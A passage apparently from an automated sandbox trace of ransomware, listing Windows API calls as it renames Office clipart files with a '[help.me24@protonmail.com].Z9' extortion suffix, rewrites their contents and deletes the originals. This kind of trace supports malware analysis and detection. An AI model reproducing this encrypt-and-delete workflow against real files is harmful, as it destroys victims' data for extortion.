	[0081.492] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.492] lstrlenW (lpString=".bz2") returned 4
	[0081.492] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.492] lstrlenW (lpString=".7z") returned 3
	[0081.492] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0081.492] lstrlenW (lpString=".dbf") returned 4
	[0081.492] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0081.492] lstrlenW (lpString=".1cd") returned 4
	[0081.492] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 68
	[0081.492] lstrlenW (lpString=".jpg") returned 4
	[0081.492] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.492] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0081.492] lstrlenW (lpString="AG00158_.GIF") returned 12
	[0081.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0081.493] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=5030) returned 1
	[0081.493] CloseHandle (hObject=0x358) returned 1
	[0081.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 0x220
	[0081.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0081.493] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.493] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0081.493] GetLastError () returned 0x0
	[0081.493] ReadFile (in: hFile=0x358, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x13a6, lpOverlapped=0x0) returned 1
	[0081.913] WriteFile (in: hFile=0x320, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x13b0, lpOverlapped=0x0) returned 1
	[0081.914] ReadFile (in: hFile=0x358, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.914] WriteFile (in: hFile=0x320, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.914] SetEndOfFile (hFile=0x320) returned 1
	[0081.915] CloseHandle (hObject=0x320) returned 1
	[0081.915] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.915] SetEndOfFile (hFile=0x358) returned 1
	[0081.916] CloseHandle (hObject=0x358) returned 1
	[0081.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0081.917] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 1
	[0081.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0081.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0081.917] lstrlenW (lpString=".doc") returned 4
	[0081.917] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.917] lstrlenW (lpString=".docx") returned 5
	[0081.917] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.917] lstrlenW (lpString=".pdf") returned 4
	[0081.917] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.917] lstrlenW (lpString=".xls") returned 4
	[0081.917] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.917] lstrlenW (lpString=".xlsx") returned 5
	[0081.917] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.917] lstrlenW (lpString=".ppt") returned 4
	[0081.917] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0081.917] lstrlenW (lpString=".zip") returned 4
	[0081.917] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.917] lstrlenW (lpString=".rar") returned 4
	[0081.917] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.917] lstrlenW (lpString=".bz2") returned 4
	[0081.917] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.918] lstrlenW (lpString=".7z") returned 3
	[0081.918] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0081.918] lstrlenW (lpString=".dbf") returned 4
	[0081.918] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0081.918] lstrlenW (lpString=".1cd") returned 4
	[0081.918] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0081.918] lstrlenW (lpString=".jpg") returned 4
	[0081.918] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0081.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0081.918] lstrlenW (lpString=".doc") returned 4
	[0081.918] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.918] lstrlenW (lpString=".docx") returned 5
	[0081.918] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.918] lstrlenW (lpString=".pdf") returned 4
	[0081.918] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.918] lstrlenW (lpString=".xls") returned 4
	[0081.918] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.918] lstrlenW (lpString=".xlsx") returned 5
	[0081.918] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.918] lstrlenW (lpString=".ppt") returned 4
	[0081.918] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0081.918] lstrlenW (lpString=".zip") returned 4
	[0081.918] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.918] lstrlenW (lpString=".rar") returned 4
	[0081.918] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.918] lstrlenW (lpString=".bz2") returned 4
	[0081.918] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.918] lstrlenW (lpString=".7z") returned 3
	[0081.918] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0081.918] lstrlenW (lpString=".dbf") returned 4
	[0081.919] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0081.919] lstrlenW (lpString=".1cd") returned 4
	[0081.919] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0081.919] lstrlenW (lpString=".jpg") returned 4
	[0081.919] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.919] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0081.919] lstrlenW (lpString="AN00790_.WMF") returned 12
	[0081.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0081.920] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=5684) returned 1
	[0081.920] CloseHandle (hObject=0x358) returned 1
	[0081.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 0x220
	[0081.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0081.920] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.920] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0081.921] GetLastError () returned 0x0
	[0081.921] ReadFile (in: hFile=0x358, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x1634, lpOverlapped=0x0) returned 1
	[0081.922] WriteFile (in: hFile=0x320, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1640, lpOverlapped=0x0) returned 1
	[0081.923] ReadFile (in: hFile=0x358, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.923] WriteFile (in: hFile=0x320, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.923] SetEndOfFile (hFile=0x320) returned 1
	[0081.923] CloseHandle (hObject=0x320) returned 1
	[0081.924] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.924] SetEndOfFile (hFile=0x358) returned 1
	[0081.925] CloseHandle (hObject=0x358) returned 1
	[0081.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0081.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 1
	[0081.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0081.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0081.929] lstrlenW (lpString=".doc") returned 4
	[0081.929] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.929] lstrlenW (lpString=".docx") returned 5
	[0081.929] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.929] lstrlenW (lpString=".pdf") returned 4
	[0081.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.929] lstrlenW (lpString=".xls") returned 4
	[0081.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.929] lstrlenW (lpString=".xlsx") returned 5
	[0081.930] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.930] lstrlenW (lpString=".ppt") returned 4
	[0081.930] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0081.930] lstrlenW (lpString=".zip") returned 4
	[0081.930] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.930] lstrlenW (lpString=".rar") returned 4
	[0081.930] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.930] lstrlenW (lpString=".bz2") returned 4
	[0081.930] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.930] lstrlenW (lpString=".7z") returned 3
	[0081.930] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0081.930] lstrlenW (lpString=".dbf") returned 4
	[0081.930] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0081.930] lstrlenW (lpString=".1cd") returned 4
	[0081.930] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0081.930] lstrlenW (lpString=".jpg") returned 4
	[0081.930] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0081.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0081.930] lstrlenW (lpString=".doc") returned 4
	[0081.930] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.930] lstrlenW (lpString=".docx") returned 5
	[0081.930] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.930] lstrlenW (lpString=".pdf") returned 4
	[0081.930] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.930] lstrlenW (lpString=".xls") returned 4
	[0081.930] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.930] lstrlenW (lpString=".xlsx") returned 5
	[0081.930] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.930] lstrlenW (lpString=".ppt") returned 4
	[0081.930] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0081.931] lstrlenW (lpString=".zip") returned 4
	[0081.931] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.931] lstrlenW (lpString=".rar") returned 4
	[0081.931] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.931] lstrlenW (lpString=".bz2") returned 4
	[0081.931] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.931] lstrlenW (lpString=".7z") returned 3
	[0081.931] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0081.931] lstrlenW (lpString=".dbf") returned 4
	[0081.931] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0081.931] lstrlenW (lpString=".1cd") returned 4
	[0081.931] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0081.931] lstrlenW (lpString=".jpg") returned 4
	[0081.931] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.931] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0081.931] lstrlenW (lpString="AN00853_.WMF") returned 12
	[0081.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0081.932] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=20578) returned 1
	[0081.932] CloseHandle (hObject=0x358) returned 1
	[0081.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 0x220
	[0081.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0081.932] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.932] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0081.933] GetLastError () returned 0x0
	[0081.933] ReadFile (in: hFile=0x358, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x5062, lpOverlapped=0x0) returned 1
	[0081.935] WriteFile (in: hFile=0x320, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x5070, lpOverlapped=0x0) returned 1
	[0081.936] ReadFile (in: hFile=0x358, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.936] WriteFile (in: hFile=0x320, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.936] SetEndOfFile (hFile=0x320) returned 1
	[0081.937] CloseHandle (hObject=0x320) returned 1
	[0081.938] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.938] SetEndOfFile (hFile=0x358) returned 1
	[0081.939] CloseHandle (hObject=0x358) returned 1
	[0081.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0081.940] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 1
	[0081.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0081.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0081.940] lstrlenW (lpString=".doc") returned 4
	[0081.940] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.940] lstrlenW (lpString=".docx") returned 5
	[0081.940] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.940] lstrlenW (lpString=".pdf") returned 4
	[0081.940] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.940] lstrlenW (lpString=".xls") returned 4
	[0081.940] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.940] lstrlenW (lpString=".xlsx") returned 5
	[0081.940] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.940] lstrlenW (lpString=".ppt") returned 4
	[0081.940] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0081.940] lstrlenW (lpString=".zip") returned 4
	[0081.940] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.940] lstrlenW (lpString=".rar") returned 4
	[0081.940] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.940] lstrlenW (lpString=".bz2") returned 4
	[0081.940] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.940] lstrlenW (lpString=".7z") returned 3
	[0081.940] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0081.941] lstrlenW (lpString=".dbf") returned 4
	[0081.941] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0081.941] lstrlenW (lpString=".1cd") returned 4
	[0081.941] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0081.941] lstrlenW (lpString=".jpg") returned 4
	[0081.941] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0081.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0081.941] lstrlenW (lpString=".doc") returned 4
	[0081.941] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.941] lstrlenW (lpString=".docx") returned 5
	[0081.941] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.941] lstrlenW (lpString=".pdf") returned 4
	[0081.941] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.941] lstrlenW (lpString=".xls") returned 4
	[0081.941] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.941] lstrlenW (lpString=".xlsx") returned 5
	[0081.941] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.941] lstrlenW (lpString=".ppt") returned 4
	[0081.941] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0081.941] lstrlenW (lpString=".zip") returned 4
	[0081.941] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
